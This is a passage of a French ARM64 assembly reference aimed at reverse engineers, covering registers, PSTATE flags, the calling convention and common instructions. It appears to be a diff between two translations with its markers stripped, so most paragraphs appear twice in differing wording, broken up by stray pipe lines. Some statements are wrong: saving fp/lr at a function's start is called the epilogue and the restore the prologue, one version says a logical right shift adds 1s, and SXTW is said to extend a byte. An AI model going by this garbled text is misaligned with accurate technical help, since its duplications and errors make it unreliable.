L'utilisation de ces niveaux permet de gérer de manière structurée et sécurisée les différents aspects du système, des applications utilisateur aux logiciels système les plus privilégiés. L'approche d'ARMv8 pour les niveaux de privilège aide à isoler efficacement les composants du système, augmentant ainsi la sécurité et la robustesse du système.
|
||||
|
||||
## **Registres (ARM64v8)**
|
||||
|
||||
ARM64 dispose de **31 registres à usage général**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30.
|
||||
ARM64 possède **31 registres généraux**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms `w0` à `w30`.
|
||||
|
||||
1. **`x0`** à **`x7`** - Ceux-ci sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
|
||||
- **`x0`** transporte également les données de retour d'une fonction.
|
||||
2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est x16 qui est utilisé !**
|
||||
3. **`x9`** à **`x15`** - Plus de registres temporaires, souvent utilisés pour des variables locales.
|
||||
4. **`x16`** et **`x17`** - **Registres d'Appel Intra-procédural**. Registres temporaires pour des valeurs immédiates. Ils sont également utilisés pour des appels de fonction indirects et des stubs de PLT (Table de Liaison de Procédure).
|
||||
1. **`x0`** à **`x7`** - Ils sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
|
||||
- **`x0`** contient aussi les données de retour d'une fonction.
|
||||
2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Sur macOS c'est x16 qui est utilisé !**
|
||||
3. **`x9`** à **`x15`** - Registres temporaires supplémentaires, souvent utilisés pour les variables locales.
|
||||
4. **`x16`** et **`x17`** - **Registres d'appel intra-procédural**. Registres temporaires pour des valeurs immédiates. Ils sont aussi utilisés pour les appels de fonctions indirects et les stubs PLT (Procedure Linkage Table).
|
||||
- **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**.
|
||||
5. **`x18`** - **Registre de Plateforme**. Il peut être utilisé comme un registre à usage général, mais sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread local dans Windows, ou pour pointer vers la structure de tâche actuellement **exécutée dans le noyau linux**.
|
||||
6. **`x19`** à **`x28`** - Ce sont des registres sauvegardés par le callee. Une fonction doit préserver les valeurs de ces registres pour son appelant, donc elles sont stockées dans la pile et récupérées avant de revenir à l'appelant.
|
||||
7. **`x29`** - **Pointeur de cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse **`sp`**) est **stockée dans ce registre**.
|
||||
- Ce registre peut également être utilisé comme un **registre à usage général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
|
||||
8. **`x30`** ou **`lr`** - **Registre de Lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur **`pc`** dans ce registre.
|
||||
5. **`x18`** - **Registre plateforme**. Il peut être utilisé comme registre général, mais sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme : pointeur vers le thread environment block courant sous Windows, ou pour pointer vers la structure de tâche en cours d'exécution dans le noyau linux.
|
||||
6. **`x19`** à **`x28`** - Ce sont des registres préservés par le callee. Une fonction doit préserver les valeurs de ces registres pour son caller, ils sont donc stockés sur la pile et récupérés avant de revenir à l'appelant.
|
||||
7. **`x29`** - **Frame pointer** pour suivre la trame de pile. Lorsqu'une nouvelle trame de pile est créée parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et la **nouvelle** adresse de frame pointer (l'adresse de **`sp`**) est **stockée dans ce registre**.
|
||||
- Ce registre peut aussi être utilisé comme **registre général** bien qu'il soit habituellement utilisé comme référence pour les **variables locales**.
|
||||
8. **`x30`** ou **`lr`** - **Link register**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur du **`pc`** dans ce registre.
|
||||
- Il peut également être utilisé comme n'importe quel autre registre.
|
||||
- Si la fonction actuelle va appeler une nouvelle fonction et donc écraser `lr`, elle le stockera dans la pile au début, c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le récupérera à la fin, c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Récupérer `fp` et `lr` et retourner).
|
||||
9. **`sp`** - **Pointeur de pile**, utilisé pour suivre le sommet de la pile.
|
||||
- La valeur **`sp`** doit toujours être maintenue à au moins un **alignement de quadword** ou une exception d'alignement peut se produire.
|
||||
10. **`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par des générations d'exception, des retours d'exception et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse **`pc`** dans **`lr`** (Registre de Lien).
|
||||
11. **`xzr`** - **Registre Zéro**. Également appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les données résultantes nulle part (dans **`xzr`**).
|
||||
- Si la fonction courante va appeler une nouvelle fonction et écraser ainsi `lr`, elle le stockera dans la pile au début ; c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le restaurera à la fin ; c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Restaurer `fp` et `lr` et retourner).
|
||||
9. **`sp`** - **Stack pointer**, utilisé pour suivre le sommet de la pile.
|
||||
- la valeur de **`sp`** doit toujours être alignée au moins sur un **quadword** sinon une exception d'alignement peut survenir.
|
||||
10. **`pc`** - **Program counter**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par la génération d'exceptions, les retours d'exception et les branches. Les seules instructions ordinaires pouvant lire ce registre sont les instructions branch with link (BL, BLR) qui stockent l'adresse du **`pc`** dans **`lr`** (Link Register).
|
||||
11. **`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme registre **32**-bit. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** ne stockant le résultat nulle part (dans **`xzr`**).
|
||||
|
||||
Les registres **`Wn`** sont la version **32 bits** des registres **`Xn`**.
|
||||
Les registres **`Wn`** sont la version **32bit** du registre **`Xn`**.
|
||||
|
||||
### Registres SIMD et à Virgule Flottante
|
||||
> [!TIP]
|
||||
> Les registres de X0 à X18 sont volatiles, ce qui signifie que leurs valeurs peuvent être modifiées par des appels de fonctions et des interruptions. Cependant, les registres de X19 à X28 sont non-volatiles, ce qui signifie que leurs valeurs doivent être préservées à travers les appels de fonctions ("callee saved").
|
||||
|
||||
De plus, il existe **32 autres registres de 128 bits** qui peuvent être utilisés dans des opérations de données multiples à instruction unique (SIMD) optimisées et pour effectuer des calculs à virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
|
||||
### Registres SIMD et Floating-Point
|
||||
|
||||
De plus, il existe 32 autres registres de **128 bits** qui peuvent être utilisés pour des opérations SIMD optimisées (single instruction multiple data) et pour effectuer des calculs en virgule flottante. Ils sont appelés registres Vn bien qu'ils puissent aussi fonctionner en **64**-bit, **32**-bit, **16**-bit et **8**-bit et alors être appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
|
||||
|
||||
### Registres Système
|
||||
|
||||
**Il existe des centaines de registres système**, également appelés registres à usage spécial (SPRs), utilisés pour **surveiller** et **contrôler** le comportement des **processeurs**.\
|
||||
Ils ne peuvent être lus ou définis qu'à l'aide des instructions spéciales dédiées **`mrs`** et **`msr`**.
|
||||
Il existe des centaines de registres système, appelés aussi special-purpose registers (SPRs), utilisés pour la **surveillance** et le **contrôle** du comportement des **processeurs**.\
|
||||
Ils ne peuvent être lus ou écrits qu'en utilisant les instructions dédiées **`mrs`** et **`msr`**.
|
||||
|
||||
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** se trouvent couramment lors de l'ingénierie inverse. Le suffixe `EL0` indique la **moindre exception** à partir de laquelle le registre peut être accessible (dans ce cas, EL0 est le niveau d'exception (privilège) régulier avec lequel les programmes normaux s'exécutent).\
|
||||
Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage local au thread** en mémoire. En général, le premier est lisible et inscriptible pour les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau).
|
||||
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontrés lors de reversing engineering. Le suffixe `EL0` indique l'exception minimale depuis laquelle le registre peut être accédé (dans ce cas EL0 est le niveau d'exception régulier avec lequel les programmes ordinaires s'exécutent).\
|
||||
Ils sont souvent utilisés pour stocker l'**adresse de base du thread-local storage** dans la mémoire. Habituellement, le premier est lisible et inscriptible par les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Lire TPIDR_EL0 dans x0`
|
||||
- `msr TPIDR_EL0, X0 ; Écrire x0 dans TPIDR_EL0`
|
||||
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contient plusieurs composants de processus sérialisés dans le registre spécial visible par le système d'exploitation **`SPSR_ELx`**, étant X le **niveau de permission** **de l'exception déclenchée** (cela permet de récupérer l'état du processus lorsque l'exception se termine).\
|
||||
**PSTATE** contient plusieurs composantes du processus sérialisées dans le registre spécial visible par le système d'exploitation **`SPSR_ELx`**, X étant le **niveau de permission de l'exception déclenchée** (cela permet de récupérer l'état du processus lorsque l'exception se termine).\
|
||||
Voici les champs accessibles :
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Les **flags de condition `N`**, **`Z`**, **`C`** et **`V`** :
|
||||
- **`N`** signifie que l'opération a donné un résultat négatif.
|
||||
- **`Z`** signifie que l'opération a donné zéro.
|
||||
- **`C`** signifie que l'opération a eu un report.
|
||||
- **`V`** signifie que l'opération a donné un dépassement de signe :
|
||||
- Les drapeaux de condition **`N`**, **`Z`**, **`C`** et **`V`** :
|
||||
- **`N`** signifie que l'opération a donné un résultat négatif
|
||||
- **`Z`** signifie que l'opération a donné zéro
|
||||
- **`C`** signifie que l'opération a généré une retenue (carry)
|
||||
- **`V`** signifie que l'opération a produit un overflow signé :
|
||||
- La somme de deux nombres positifs donne un résultat négatif.
|
||||
- La somme de deux nombres négatifs donne un résultat positif.
|
||||
- Dans la soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le résultat ne peut pas être représenté dans la plage de la taille de bit donnée.
|
||||
- Évidemment, le processeur ne sait pas si l'opération est signée ou non, donc il vérifiera C et V dans les opérations et indiquera si un report s'est produit dans le cas où c'était signé ou non.
|
||||
- Dans une soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou inversement), et que le résultat ne peut être représenté dans la plage de la taille en bits donnée.
|
||||
- Évidemment le processeur ne sait pas si l'opération est signée ou non, donc il vérifiera C et V dans les opérations et indiquera si une retenue s'est produite selon qu'elle était signée ou non.
|
||||
|
||||
> [!WARNING]
|
||||
> Toutes les instructions ne mettent pas à jour ces flags. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font également.
|
||||
> Toutes les instructions ne mettent pas à jour ces drapeaux. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font aussi.
|
||||
|
||||
- Le **flag de largeur de registre actuelle (`nRW`)** : Si le flag a la valeur 0, le programme s'exécutera dans l'état d'exécution AArch64 une fois repris.
|
||||
- Le **Niveau d'Exception** (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0.
|
||||
- Le **flag de pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas en définissant le flag SS à 1 à l'intérieur de **`SPSR_ELx`** par le biais d'une exception. Le programme exécutera un pas et émettra une exception de pas unique.
|
||||
- Le **flag d'état d'exception illégale** (**`IL`**) : Il est utilisé pour marquer lorsqu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce flag est défini à 1 et le processeur déclenche une exception d'état illégal.
|
||||
- Les **flags `DAIF`** : Ces flags permettent à un programme privilégié de masquer sélectivement certaines exceptions externes.
|
||||
- Si **`A`** est 1, cela signifie que des **abortions asynchrones** seront déclenchées. Le **`I`** configure la réponse aux **Demandes d'Interruption Matérielles** (IRQ). et le F est lié aux **Demandes d'Interruption Rapides** (FIR).
|
||||
- Les **flags de sélection de pointeur de pile** (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce changement est effectué en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0.
|
||||
- Le drapeau de **largeur de registre courante (`nRW`)** : Si le drapeau vaut 0, le programme s'exécutera en état AArch64 une fois repris.
|
||||
- Le **niveau d'Exception courant** (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0.
|
||||
- Le drapeau de **single stepping** (**`SS`**) : Utilisé par les débogueurs pour exécuter instruction par instruction en réglant le drapeau SS à 1 dans **`SPSR_ELx`** via une exception. Le programme exécutera un pas et déclenchera une exception de single step.
|
||||
- Le drapeau d'état d'**exception illégale** (**`IL`**) : Il sert à marquer quand un logiciel privilégié effectue un transfert de niveau d'exception invalide ; ce drapeau est mis à 1 et le processeur déclenche une exception d'état illégal.
|
||||
- Les drapeaux **`DAIF`** : Ces drapeaux permettent à un programme privilégié de masquer sélectivement certaines exceptions externes.
|
||||
- Si **`A`** vaut 1, cela signifie que les **asynchronous aborts** seront déclenchés. **`I`** configure la réponse aux **Interrupt Requests** externes (IRQs). et le **F** est lié aux **Fast Interrupt Requests** (FIRs).
|
||||
- Les flags de sélection du pointeur de pile (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par ex. entre `SP_EL1` et `EL0`). Ce basculement se fait en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0.
|
||||
|
||||
## **Convention d'Appel (ARM64v8)**
|
||||
## **Convention d'appel (ARM64v8)**
|
||||
|
||||
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **si elle fait 128 bits de long**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction.
|
||||
La convention d'appel ARM64 précise que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les paramètres **supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou aussi dans **`x1`** si elle fait **128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** à travers les appels de fonctions.
|
||||
|
||||
Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement **de sauvegarder le pointeur de cadre (`x29`)**, **de configurer** un **nouveau pointeur de cadre**, et d'**allouer de l'espace dans la pile**. L'**épilogue** implique généralement **de restaurer le pointeur de cadre sauvegardé** et **de retourner** de la fonction.
|
||||
Lors de la lecture d'une fonction en assembleur, recherchez le **prologue** et l'**épilogue** de la fonction. Le **prologue** implique généralement **la sauvegarde du frame pointer (`x29`)**, **la mise en place** d'un **nouveau frame pointer**, et **l'allocation d'espace sur la pile**. L'**épilogue** implique généralement **la restauration du frame pointer sauvegardé** et le **retour** de la fonction.
|
||||
|
||||
### Convention d'Appel en Swift
|
||||
### Convention d'appel en Swift
|
||||
|
||||
Swift a sa propre **convention d'appel** qui peut être trouvée dans [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Swift a sa propre **convention d'appel** qui peut être trouvée sur [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Instructions Courantes (ARM64v8)**
|
||||
## **Instructions courantes (ARM64v8)**
|
||||
|
||||
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
|
||||
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent aussi être utilisées à la place des registres source.
|
||||
|
||||
- **`mov`** : **Déplacer** une valeur d'un **registre** à un autre.
|
||||
- Exemple : `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`.
|
||||
- **`ldr`** : **Charger** une valeur de **mémoire** dans un **registre**.
|
||||
- Exemple : `ldr x0, [x1]` — Cela charge une valeur de l'emplacement mémoire pointé par `x1` dans `x0`.
|
||||
- **Mode d'offset** : Un offset affectant le pointeur d'origine est indiqué, par exemple :
|
||||
- `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur de x1 + 8.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet du tableau x0, à la position x1 (index) \* 4.
|
||||
- **Mode pré-indexé** : Cela appliquera des calculs à l'origine, obtiendra le résultat et stockera également la nouvelle origine dans l'origine.
|
||||
- `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le résultat de `x1 + 8`.
|
||||
- `str lr, [sp, #-4]!`, stocke le registre de lien dans sp et met à jour le registre sp.
|
||||
- **Mode post-indexé** : C'est comme le précédent mais l'adresse mémoire est accédée et ensuite l'offset est calculé et stocké.
|
||||
- `ldr x0, [x1], #8`, charge `x1` dans `x0` et met à jour x1 avec `x1 + 8`.
|
||||
- **Adressage relatif au PC** : Dans ce cas, l'adresse à charger est calculée par rapport au registre PC.
|
||||
- `ldr x1, =_start`, Cela chargera l'adresse où le symbole `_start` commence dans x1 par rapport au PC actuel.
|
||||
- **`str`** : **Stocker** une valeur d'un **registre** dans **la mémoire**.
|
||||
- Exemple : `str x0, [x1]` — Cela stocke la valeur dans `x0` dans l'emplacement mémoire pointé par `x1`.
|
||||
- **`ldp`** : **Charger une paire de registres**. Cette instruction **charge deux registres** à partir de **localisations mémoire consécutives**. L'adresse mémoire est généralement formée en ajoutant un offset à la valeur d'un autre registre.
|
||||
- Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` à partir des emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
||||
- **`stp`** : **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans **des emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un offset à la valeur d'un autre registre.
|
||||
- Exemple : `stp x0, x1, [sp]` — Cela stocke `x0` et `x1` dans les emplacements mémoire à `sp` et `sp + 8`, respectivement.
|
||||
- `stp x0, x1, [sp, #16]!` — Cela stocke `x0` et `x1` dans les emplacements mémoire à `sp+16` et `sp + 24`, respectivement, et met à jour `sp` avec `sp+16`.
|
||||
- **`add`** : **Ajouter** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||
- Syntaxe : add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- Exemple: `mov x0, x1` — Cela déplace la valeur de `x1` vers `x0`.
|
||||
- **`ldr`** : **Charger** une valeur depuis la **mémoire** dans un **registre**.
|
||||
- Exemple: `ldr x0, [x1]` — Cela charge une valeur depuis l'adresse mémoire pointée par `x1` dans `x0`.
|
||||
- **Mode offset** : Un offset affectant le pointeur origine est indiqué, par exemple :
|
||||
- `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur depuis x1 + 8
|
||||
- `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet depuis le tableau x0, à la position x1 (index) * 4
|
||||
- **Mode pré-indexé** : Cela applique les calculs à l'origine, récupère le résultat et stocke aussi la nouvelle origine dans l'origine.
|
||||
- `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le résultat de `x1 + 8`
|
||||
- `str lr, [sp, #-4]!`, Stocke le link register dans sp et met à jour le registre sp
|
||||
- **Mode post-indexé** : C'est comme le précédent mais l'adresse mémoire est accédée puis l'offset est calculé et stocké.
|
||||
- `ldr x0, [x1], #8`, charge `x1` dans `x0` et met à jour x1 avec `x1 + 8`
|
||||
- **Adresse relative au PC** : Dans ce cas l'adresse à charger est calculée relative au registre PC
|
||||
- `ldr x1, =_start`, Cela chargera dans x1 l'adresse où commence le symbole `_start` par rapport au PC actuel.
|
||||
- **`str`** : **Stocker** une valeur d'un **registre** dans la **mémoire**.
|
||||
- Exemple: `str x0, [x1]` — Cela stocke la valeur de `x0` dans l'emplacement mémoire pointé par `x1`.
|
||||
- **`ldp`** : **Load Pair of Registers**. Cette instruction **charge deux registres** depuis des **emplacements mémoire consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un offset à la valeur d'un autre registre.
|
||||
- Exemple: `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` depuis les emplacements mémoire à `x2` et `x2 + 8`, respectivement.
|
||||
- **`stp`** : **Store Pair of Registers**. Cette instruction **stocke deux registres** vers des **emplacements mémoire consécutifs**. L'adresse mémoire est typiquement formée en ajoutant un offset à la valeur d'un autre registre.
|
||||
- Exemple: `stp x0, x1, [sp]` — Cela stocke `x0` et `x1` aux emplacements mémoire à `sp` et `sp + 8`, respectivement.
|
||||
- `stp x0, x1, [sp, #16]!` — Cela stocke `x0` et `x1` aux emplacements mémoire `sp+16` et `sp + 24`, respectivement, et met à jour `sp` avec `sp+16`.
|
||||
- **`add`** : **Additionner** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||
- Syntaxe: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
|
||||
- Xn1 -> Destination
|
||||
- Xn2 -> Opérande 1
|
||||
- Xn3 | #imm -> Opérande 2 (registre ou immédiat)
|
||||
- \[shift #N | RRX] -> Effectuer un décalage ou appeler RRX
|
||||
- Exemple : `add x0, x1, x2` — Cela additionne les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Cela équivaut à 4096 (un 1 décalé 12 fois) -> 1 0000 0000 0000 0000.
|
||||
- **`adds`** Cela effectue un `add` et met à jour les flags.
|
||||
- [shift #N | RRX] -> Effectuer un décalage ou appeler RRX
|
||||
- Exemple: `add x0, x1, x2` — Cela additionne les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Cela équivaut à 4096 (un 1 décalé 12 fois) -> 1 0000 0000 0000 0000
|
||||
- **`adds`** : Effectue un `add` et met à jour les flags.
|
||||
- **`sub`** : **Soustraire** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||
- Vérifiez la **syntaxe `add`**.
|
||||
- Exemple : `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`.
|
||||
- **`subs`** C'est comme sub mais met à jour le flag.
|
||||
- Voir la **syntaxe `add`**.
|
||||
- Exemple: `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`.
|
||||
- **`subs`** : Comme `sub` mais met à jour les flags.
|
||||
- **`mul`** : **Multiplier** les valeurs de **deux registres** et stocker le résultat dans un registre.
|
||||
- Exemple : `mul x0, x1, x2` — Cela multiplie les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
||||
- **`div`** : **Diviser** la valeur d'un registre par une autre et stocker le résultat dans un registre.
|
||||
- Exemple : `div x0, x1, x2` — Cela divise la valeur dans `x1` par `x2` et stocke le résultat dans `x0`.
|
||||
- Exemple: `mul x0, x1, x2` — Cela multiplie les valeurs dans `x1` et `x2` et stocke le résultat dans `x0`.
|
||||
- **`div`** : **Diviser** la valeur d'un registre par un autre et stocker le résultat dans un registre.
|
||||
- Exemple: `div x0, x1, x2` — Cela divise la valeur dans `x1` par `x2` et stocke le résultat dans `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`** :
|
||||
- **Décalage logique à gauche** : Ajouter des 0 à partir de la fin en déplaçant les autres bits vers l'avant (multiplier par n fois 2).
|
||||
- **Décalage logique à droite** : Ajouter des 1 au début en déplaçant les autres bits vers l'arrière (diviser par n fois 2 en non signé).
|
||||
- **Décalage arithmétique à droite** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit le plus significatif est un 1, **des 1 sont ajoutés** (diviser par n fois 2 en signé).
|
||||
- **Rotation à droite** : Comme **`lsr`** mais tout ce qui est retiré à droite est ajouté à gauche.
|
||||
- **Rotation à droite avec extension** : Comme **`ror`**, mais avec le flag de report comme le "bit le plus significatif". Donc le flag de report est déplacé vers le bit 31 et le bit retiré vers le flag de report.
|
||||
- **`bfm`** : **Déplacement de Champ de Bits**, ces opérations **copient les bits `0...n`** d'une valeur et les placent dans les positions **`m..m+n`**. Le **`#s`** spécifie la **position du bit le plus à gauche** et **`#r`** le **montant de rotation à droite**.
|
||||
- Déplacement de champ de bits : `BFM Xd, Xn, #r`
|
||||
- Déplacement de champ de bits signé : `SBFM Xd, Xn, #r, #s`
|
||||
- Déplacement de champ de bits non signé : `UBFM Xd, Xn, #r, #s`
|
||||
- **Extraction et Insertion de Champ de Bits :** Copier un champ de bits d'un registre et le copier dans un autre registre.
|
||||
- **`BFI X1, X2, #3, #4`** Insérer 4 bits de X2 à partir du 3ème bit de X1.
|
||||
- **`BFXIL X1, X2, #3, #4`** Extraire à partir du 3ème bit de X2 quatre bits et les copier dans X1.
|
||||
- **`SBFIZ X1, X2, #3, #4`** Étend le signe de 4 bits de X2 et les insère dans X1 en commençant à la position de bit 3 en mettant à zéro les bits de droite.
|
||||
- **`SBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2, les étend en signe, et place le résultat dans X1.
|
||||
- **`UBFIZ X1, X2, #3, #4`** Étend à zéro 4 bits de X2 et les insère dans X1 en commençant à la position de bit 3 en mettant à zéro les bits de droite.
|
||||
- **`UBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2 et place le résultat étendu à zéro dans X1.
|
||||
- **Étendre le Signe à X :** Étend le signe (ou ajoute juste des 0 dans la version non signée) d'une valeur pour pouvoir effectuer des opérations avec :
|
||||
- **`SXTB X1, W2`** Étend le signe d'un octet **de W2 à X1** (`W2` est la moitié de `X2`) pour remplir les 64 bits.
|
||||
- **`SXTH X1, W2`** Étend le signe d'un nombre de 16 bits **de W2 à X1** pour remplir les 64 bits.
|
||||
- **`SXTW X1, W2`** Étend le signe d'un octet **de W2 à X1** pour remplir les 64 bits.
|
||||
- **`UXTB X1, W2`** Ajoute des 0 (non signé) à un octet **de W2 à X1** pour remplir les 64 bits.
|
||||
- **Logical shift left** : Ajoute des 0 à la fin en décalant les autres bits vers l'avant (multiplie par 2^n)
|
||||
- **Logical shift right** : Ajoute des 0 au début en décalant les autres bits vers l'arrière (divise par 2^n en unsigned)
|
||||
- **Arithmetic shift right** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit de poids fort est 1, **des 1 sont ajoutés** (divise par 2^n en signed)
|
||||
- **Rotate right** : Comme **`lsr`** mais ce qui est supprimé à droite est ajouté à gauche
|
||||
- **Rotate Right with Extend** : Comme **`ror`**, mais avec le flag carry comme "bit de poids fort". Ainsi le flag carry est déplacé au bit 31 et le bit supprimé va dans le flag carry.
|
||||
- **`bfm`** : **Bit Field Move**, ces opérations **copient des bits `0...n`** d'une valeur et les placent aux positions **`m..m+n`**. Le **`#s`** spécifie la **position du bit le plus à gauche** et **`#r`** la **quantité de rotation à droite**.
|
||||
- Bitfield move: `BFM Xd, Xn, #r`
|
||||
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
|
||||
- **Extraction et insertion de champs de bits :** Copier un champ de bits d'un registre et le copier dans un autre registre.
|
||||
- **`BFI X1, X2, #3, #4`** Insère 4 bits de X2 à partir du bit 3 dans X1
|
||||
- **`BFXIL X1, X2, #3, #4`** Extrait à partir du bit 3 de X2 quatre bits et les copie dans X1
